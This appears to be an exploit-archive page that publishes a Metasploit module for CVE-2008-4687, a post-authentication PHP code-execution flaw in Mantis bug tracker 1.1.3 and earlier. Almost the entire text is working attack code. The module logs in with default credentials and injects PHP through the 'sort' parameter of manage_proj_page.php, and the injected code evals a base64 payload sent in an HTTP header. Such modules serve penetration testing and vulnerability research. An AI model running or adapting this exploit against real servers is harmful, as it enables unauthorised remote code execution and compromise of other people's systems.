Mantis 1.1.3 manage_proj_page PHP Code Execution

2018.05.09
Credit: EgiX
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Mantis manage_proj_page PHP Code Execution', 'Description' => %q{ Mantis v1.1.3 and earlier are vulnerable to a post-authentication Remote Code Execution vulnerability in the sort parameter of the manage_proj_page.php page. }, 'Author' => [ 'EgiX', # Exploit-DB Entry Author 'Lars Sorenson' # MSF module author ], 'License' => MSF_LICENSE, 'References' => [ ['EDB', '6768'], ['CVE', '2008-4687'], ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Mantis <= 1.1.3', { } ], ], 'DisclosureDate' => 'Oct 16, 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the Mantis installation', '/mantisbt/']), OptString.new('USERNAME', [true, 'The username to log in as', 'administrator']), OptString.new('PASSWORD', [true, 'The password to log in with', 'root']), ]) end def check vprint_status('Checking Mantis version ...') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login_page.php'), 'method' => 'GET' }) unless res vprint_error('Connection to host failed!') return CheckCode::Unknown end unless res.body =~ /Mantis ([0-9]+\.[0-9]+\.[0-9]+)/ vprint_error('Cannot determine Mantis version!') return CheckCode::Unknown end version = Gem::Version.new(Regexp.last_match[1]) vprint_status("Mantis version #{version} detected") if res.code == 200 && version <= Gem::Version.new('1.1.3') return CheckCode::Appears end CheckCode::Safe end def login vprint_status("Logging in as #{datastore['username']}:#{datastore['password']} ... ") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login_page.php'), }) unless res fail_with(Failure::Unreachable, 'Cannot access host to log in!') end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login.php'), 'method' => 'POST', 'vars_post' => { 'username': datastore['username'], 'password': datastore['password'], }, 'cookie'=> "PHPSESSID=#{res.get_cookies}" }) unless res fail_with(Failure::Unknown, 'Cannot access host to log in!') end fail_with(Failure::Unreachable, 'Login failed!') unless res.code == 302 fail_with(Failure::NoAccess, 'Wrong credentials!') if res.redirection.to_s.include?('login_page.php') store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) res.get_cookies end def exploit fail_with(Failure::NotVulnerable, 'Target is not vulnerable!') unless check == CheckCode::Appears cookie = login vprint_status('Sending payload ...') payload_b64 = Rex::Text.encode_base64(payload.encoded) data = { 'sort' => "']);}error_reporting(0);print(_code_);eval(base64_decode($_SERVER[HTTP_CMD]));die();#", } send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'manage_proj_page.php'), 'method' => 'POST', 'vars_post' => data, 'headers' => { 'Connection': 'close', 'Cookie': cookie.to_s, 'Cmd': payload_b64 } }) end end


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